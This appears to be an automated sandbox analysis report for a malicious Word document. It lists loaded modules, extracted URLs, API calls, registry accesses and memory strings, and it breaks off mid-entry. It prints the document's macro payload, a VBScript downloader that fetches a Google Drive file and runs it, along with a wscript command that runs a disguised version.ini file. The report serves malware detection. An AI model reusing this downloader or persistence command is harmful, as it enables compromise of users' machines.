"WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\MSPROOF7.DLL" at base 43f70000 "WINWORD.EXE" loaded module "OLE32.DLL" at base 57500000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\PROOF\MSSP7EN.DLL" at base 297d0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\\MSCSS7EN.DLL" at base 43420000 "WINWORD.EXE" loaded module "CSS7DATA0009.DLL" at base 38870000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\MSCSS7CM_EN.DUB" at base 9a60000 "WINWORD.EXE" loaded module "GDIPLUS.DLL" at base 369e0000 "WINWORD.EXE" loaded module "%WINDIR%\WINSXS\AMD64_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_46B9C4E9EDF1CFA5\GDIPLUS.DLL" at base 369e0000 "wscript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 54710000 "wscript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 392c0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 52a10000 "wscript.exe" loaded module "RPCRT4.DLL" at base 576b0000 "wscript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 54710000 "wscript.exe" loaded module "KERNEL32" at base 57de0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\1PQ8928U.DLL" at base 445a0000 "wscript.exe" loaded module "WLDP.DLL" at base 53400000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 4b430000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 48540000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 4be60000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\ESDSIP.DLL" at base 495b0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\MSXML3.DLL" at base 299d0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WINHTTPCOM.DLL" at base 49590000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 39240000 "wscript.exe" loaded module "WINHTTP.DLL" at base 4e3e0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 53c00000 "wscript.exe" loaded module "SSPICLI.DLL" at base 54300000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 53750000 "wscript.exe" loaded module "MSKEYPROTECT.DLL" at base 48a10000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 48370000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 54540000 "wscript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 3891000037:T809,"Insert the data into the document" (Source: 00000000-00001568.00000000.76052.04800000.00000002.mdmp, 00000000-00001568.00000001.77974.04800000.00000002.mdmp, 00000000-00001568.00000002.79892.04800000.00000002.mdmp, Indicator: "insert the data into the document") "Inserts a new object into your document.Inserts a new object into your document as an icon.Inserts the contents of the file into your document so that you can edit it later using the application which created the source file.Inserts an icon that represents the contents of the file into your document.Inserts the contents of the file into your document and creates a shortcut to the source file. Changes to the source file will be reflected in your document.Inserts an icon that represents the contents of the file into your document. Changes to the source file will be reflected in your document." (Source: 00000000-00001568.00000000.76052.04800000.00000002.mdmp, 00000000-00001568.00000001.77974.04800000.00000002.mdmp, 00000000-00001568.00000002.79892.04800000.00000002.mdmp, Indicator: "inserts a new object into your document.inserts a new object into your document as an icon.inserts the contents of the file into your document so that you can edit it later using the application which created the source file.inserts an icon that represents the contents of the file into your document.inserts the contents of the file into your document and creates a shortcut to the source file. changes to the source file will be reflected in your document.inserts an icon that represents the contents of the file into your document. changes to the source file will be reflected in your document.") "Inserts the contents of the Clipboard into your document so that you can edit it using ." (Source: 00000000-00001568.00000000.76052.04800000.00000002.mdmp, 00000000-00001568.00000001.77974.04800000.00000002.mdmp, 00000000-00001568.00000002.79892.04800000.00000002.mdmp, Indicator: "inserts the contents of the clipboard into your document so that you can edit it using .")38:T105e,Observed system executable string:"ResContr(pth, cntCEs.Add=T7GTextg#_VBA_PROJECTDdiru9__SRP_0~__SRP_1or Applications*\G{00020905-0000-0000-C000-000000000046}#8.5#0#C:\Program Files\Microsoft Office\Office14\MSWORD.OLB#Microsoft Word 14.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation*\CNormal*\CNormalf(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.5#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSO.DLL#Microsoft Office 16.0 Object Libraryf&ThisDocument09669bf9be'ThisDocument`NewMacros07669bf9be*NewMacrosl8JJ5gXRxChJ2HC=2WordkPVBAPWin16~PWin32PWin64xPMacPVBA6#PVBA7#PProject-Pstdole`P NormalP OfficeuPThisDocument9iqmgvw,czcthawte," - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0z/>eris>1.2.840.10045.2.1pkcs1.3.6.1.5.5.7.1.12microsoft" - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysil" - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?" - Source: "00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001568.00000000.76052.02980000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001568.00000001.77974.02980000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/r" - Source: "00000000-00001568.00000001.77974.04780000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/relationships" - Source: "00000000-00001568.00000001.77974.04790000.00000004.mdmp") Found URL "http://r.office.microsoft.com/r/rlidnetworkplaces?clid=1033&app=office10&select=nopage" - Source: "00000000-00001568.00000001.77974.04900000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/r" - Source: "00000000-00001568.00000001.77974.04D70000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/relationships" - Source: "00000000-00001568.00000001.77974.04D80000.00000004.mdmp") Found URL "http://r.office.microsoft.com/r/rlidmanagenetworkplaces?clid=1033launcheritemslauncheritemsautoscaleautoscalefscontroldefaultpropertyfscontrolfsexecuteactionongetimageonbuttonclickid1.txtdefaultpropertyfscontrolboxstylebuttongroupfscontroldefaultpropertycheckboxmacroonchangecallbackmacrogettextcallbackanchorpromptgallerybasebuttonitemscommandsshowitemlabeltextpositionshowitemimageminitoolbarsloadimagecommandsitemswidthersion.iniitemsheightcontextmenusonloadribbongetitemcountcallbackgetitemlabelcallbackcallbackgetitemsupertipcallbackgetitemimagecallbackgetitemidmacrogetitemidcallbacksizestringlabelcontrolfscontrolfscontroldefaultpropertyfsgalleryfscontroldefaultpropertyfsgallerytargetoptioncontextmenuitemsizegettitlemacrogetlabelcallbackfscontrolfsexecuteactiondefaultpropertyfsflyoutanchorfscontrolfsexecuteactiondefaultpropertyfsflyoutanchorcontextmenucontextmenutbcontentidtcidnamelegacytbidtcidnamefloatietcidtcidnameoptionaluserlauncheritemsdefaultpropertydropdownfscontroldefaultpropertyfsgallerytargetoptionmaxlengthmaxlengthonchangenexttargetloadfunctionnextfunctionbacktarget1backtarget2backtarget3unlocklimitpidblockedgeopidblockedp." - Source: "00000000-00001568.00000001.77974.04DA0000.00000004.mdmp") Found URL "http://freebusy.office.microsoft.com/freebusy/freebusy.dllc:\users\jvncbrq\appdata\local\microsoft\office\word14.customui/relationshipsfile:///c:\users\jvncbrq\appdata\roaming\microsoft\proof\p3%3f%3f.dll3e.docam" - Source: "00000000-00001568.00000001.77974.04DC0000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/r" - Source: "00000000-00001568.00000001.77974.04DD0000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/content-types" - Source: "00000000-00001568.00000001.77974.04E20000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/content-t" - Source: "00000000-00001568.00000001.77974.04E40000.00000004.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" - Source: "00000000-00001568.00000001.77974.04F10000.00000004.mdmp") Found URL "http://www.msnusers.comnew" - Source: "00000000-00001568.00000001.77974.09820000.00000004.mdmp") Found URL "http://freebusy.office.microsoft.com/freebusy/freebusy.dll?prd=office&pver=" - Source: "00000000-00001568.00000001.77974.09820000.00000004.mdmp") Found URL "http://freebusy.office.microsoft.com/freebusy/freebusy.dll?prd=office&pver=" - Source: "00000000-00001568.00000001.77974.09830000.00000004.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" - Source: "00000000-00001568.00000001.77974.0C9B0000.00000004.mdmp") Found URL "https://drogle.com/uc?expovnload&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=tsend:exec" - Source: "00000000-00001568.00000001.77974.0C9B0000.00000004.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" - Source: "00000000-00001568.00000001.77974.0DF30000.00000004.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" - Source: "00000000-00001568.00000001.77974.0F5DB000.00000004.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" - Source: "00000000-00001568.00000001.77974.0F68F000.00000004.mdmp") Found URL "http://purl.org/dc/dcmitype/" - Source: "00000000-00001568.00000001.77974.0F68F000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema" - Source: "00000000-00001568.00000001.77974.0F68F000.00000004.mdmp") Found URL "http://msdn.microsoft.com/developer/default.htm(id)vb" - Source: "00000000-00001568.00000001.77974.0F750000.00000002.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" - Source: "00000000-00001568.00000001.77974.0F9A0000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/r" - Source: "00000000-00001568.00000001.77974.0FDF0000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/relationships" - Source: "00000000-00001568.00000001.77974.10259000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/relationships" - Source: "00000000-00001568.00000001.77974.1025F000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00001568.00000001.77974.4CD82000.00000002.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" - Source: "00000000-00001568.00000001.77974.6420B000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001568.00000002.79892.02980000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/r" - Source: "00000000-00001568.00000002.79892.04780000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/relationships" - Source: "00000000-00001568.00000002.79892.04790000.00000004.mdmp") Found URL "http://r.office.microsoft.com/r/rlidnetworkplaces?clid=1033&app=office10&select=nopage" - Source: "00000000-00001568.00000002.79892.04900000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/r" - Source: "00000000-00001568.00000002.79892.04D70000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/relationships" - Source: "00000000-00001568.00000002.79892.04D80000.00000004.mdmp") Found URL "http://r.office.microsoft.com/r/rlidmanagenetworkplaces?clid=1033launcheritemslauncheritemsautoscaleautoscalefscontroldefaultpropertyfscontrolfsexecuteactionongetimageonbuttonclickid1.txtdefaultpropertyfscontrolboxstylebuttongroupfscontroldefaultpropertycheckboxmacroonchangecallbackmacrogettextcallbackanchorpromptgallerybasebuttonitemscommandsshowitemlabeltextpositionshowitemimageminitoolbarsloadimagecommandsitemswidthersion.iniitemsheightcontextmenusonloadribbongetitemcountcallbackgetitemlabelcallbackcallbackgetitemsupertipcallbackgetitemimagecallbackgetitemidmacrogetitemidcallbacksizestringlabelcontrolfscontrolfscontroldefaultpropertyfsgalleryfscontroldefaultpropertyfsgallerytargetoptioncontextmenuitemsizegettitlemacrogetlabelcallbackfscontrolfsexecuteactiondefaultpropertyfsflyoutanchorfscontrolfsexecuteactiondefaultpropertyfsflyoutanchorcontextmenucontextmenutbcontentidtcidnamelegacytbidtcidnamefloatietcidtcidnameoptionaluserlauncheritemsdefaultpropertydropdownfscontroldefaultpropertyfsgallerytargetoptionmaxlengthmaxlengthonchangenexttargetloadfunctionnextfunctionbacktarget1backtarget2backtarget3unlocklimitpidblockedgeopidblockedfstrfstrfstrfstrfstrfstrfstrfstrfstr" - Source: "00000000-00001568.00000002.79892.04DA0000.00000004.mdmp") Found URL "http://freebusy.office.microsoft.com/freebusy/freebusy.dllc:\users\jvncbrq\appdata\local\microsoft\office\word14.customui/relationshipsfile:///c:\users\jvncbrq\appdata\roaming\microsoft\proof\p3%3f%3f.dll3e.docam" - Source: "00000000-00001568.00000002.79892.04DC0000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/r" - Source: "00000000-00001568.00000002.79892.04DD0000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/content-types" - Source: "00000000-00001568.00000002.79892.04E20000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/content-t" - Source: "00000000-00001568.00000002.79892.04E40000.00000004.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" - Source: "00000000-00001568.00000002.79892.04F10000.00000004.mdmp") Found URL "http://www.msnusers.comold" - Source: "00000000-00001568.00000002.79892.09820000.00000004.mdmp") Found URL "http://freebusy.office.microsoft.com/freebusy/freebusy.dll?prd=office&pver=" - Source: "00000000-00001568.00000002.79892.09820000.00000004.mdmp") Found URL "http://freebusy.office.microsoft.com/freebusy/freebusy.dll?prd=office&pver=" - Source: "00000000-00001568.00000002.79892.09830000.00000004.mdmp") Found URL "http://httplhttp:hvaehavehvainghavinghwichwhichi" - Source: "00000000-00001568.00000002.79892.09A60000.00000004.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" - Source: "00000000-00001568.00000002.79892.0C9B0000.00000004.mdmp") Found URL "https://drogle.com/uc?expovnload&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=tsend:exec" - Source: "00000000-00001568.00000002.79892.0C9B0000.00000004.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" - Source: "00000000-00001568.00000002.79892.0DF30000.00000004.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" - Source: "00000000-00001568.00000002.79892.0F5DB000.00000004.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" - Source: "00000000-00001568.00000002.79892.0F68F000.00000004.mdmp") Found URL "http://purl.org/dc/dcmitype/" - Source: "00000000-00001568.00000002.79892.0F68F000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema" - Source: "00000000-00001568.00000002.79892.0F68F000.00000004.mdmp") Found URL "http://msdn.microsoft.com/developer/default.htm(id)vb" - Source: "00000000-00001568.00000002.79892.0F750000.00000002.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" - Source: "00000000-00001568.00000002.79892.0F9A0000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/r" - Source: "00000000-00001568.00000002.79892.0FDF0000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/relationships" - Source: "00000000-00001568.00000002.79892.10259000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/relationships" - Source: "00000000-00001568.00000002.79892.1025F000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00001568.00000002.79892.4CD82000.00000002.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" - Source: "00000000-00001568.00000002.79892.6420B000.00000004.mdmp")40:Tb20,Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp")41:T715,"WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "REGISTRATIONENABLED"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "REGISTERADAPTERNAME"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DOMAIN"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DHCPDOMAIN"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "")42:T433,Found string "/C:\UsersJvncbrQAppDataRoamingMICROS~1TEMPLA~1version.iniC:\Users\JvncbrQ\AppData\Roaming\Microsoft\Templates\version.inidesktop-fvvf82a1SPS1SPS" (Indicator: "\roaming\microsoft\templates"; File: "version.ini.LNK") Found string "/C:\UsersJvncbrQAppDataRoamingMICROS~1TEMPLA~1C:\Users\JvncbrQ\AppData\Roaming\Microsoft\Templatesdesktop-fvvf82a'KPv'KPv1SPS1SPS" (Indicator: "\roaming\microsoft\templates"; File: "Templates.LNK") file/memory contains long string with (Indicator: "\roaming\microsoft\templates"; File: "vbaProject.bin") Found string "wscript.exe //e:vbscript //b C:\Users\JvncbrQ\AppData\Roaming\Microsoft\Templates\version.ini" (Indicator: "\roaming\microsoft\templates"; Source: "00000000-00001220.00000000.77833.182E0000.00000004.mdmp") Found string "C:\Users\JvncbrQ\AppData\Roaming\Microsoft\Templates\version.ini" (Indicator: "\roaming\microsoft\templates"; Source: "00000000-00001220.00000000.77833.182E0000.00000004.mdmp, 00000000-00001220.00000000.77833.184A0000.00000004.mdmp, 00000000-00001220.00000000.77833.19544000.00000004.mdmp")43:T46d,Found string "Z 4!6(\ ^C@`5b(dC@fqoputf'jwinmgmts:win32_process$n.lutf8utf8'p j pA@,A@X <.: :B@rOn Error Resume Next:Set mx = CreateObject("MSXML2.ServerXMLHTTP"):mx.open "GET", "https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t", False:mx.Send:Execute(mx.responseText)'JC:\Users\ 2!t0\AppData\Roaming\Microsoft\Templates\version.ini'H H JA@Fwscript.exe //e:vbscript //b H lB@vo`rogr`\Mic`O`0f@NWOPocalhpAttribute VB_Name = "NewMacros"" (Indicator: "winmgmts:"; in File: "vbaProject.bin") Found string "utf,winmgmts:win32_processVBE7.DLLrq*utf8utf8FFA,ASave,`\AppData\Roaming\Microsoft\Templates\version.ininOn Error Resume Next:Set mx = CreateObject("MSXML2.ServerXMLHTTP"):mx.open "GET", "https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t", False:mx.Send:Execute(mx.responseText)C:\Users\pF:wscript.exe //e:vbscript //b Create@bF,F&,Unprotect" (Indicator: "winmgmts:"; in File: "vbaProject.bin") Found string "C:\WINDOWS\system32\wbem\wmiprvse.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00001220.00000000.77833.16140000.00000004.mdmp")44:Tafa,"wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "wscript.exe" (Access type: "CREATE"; Path: 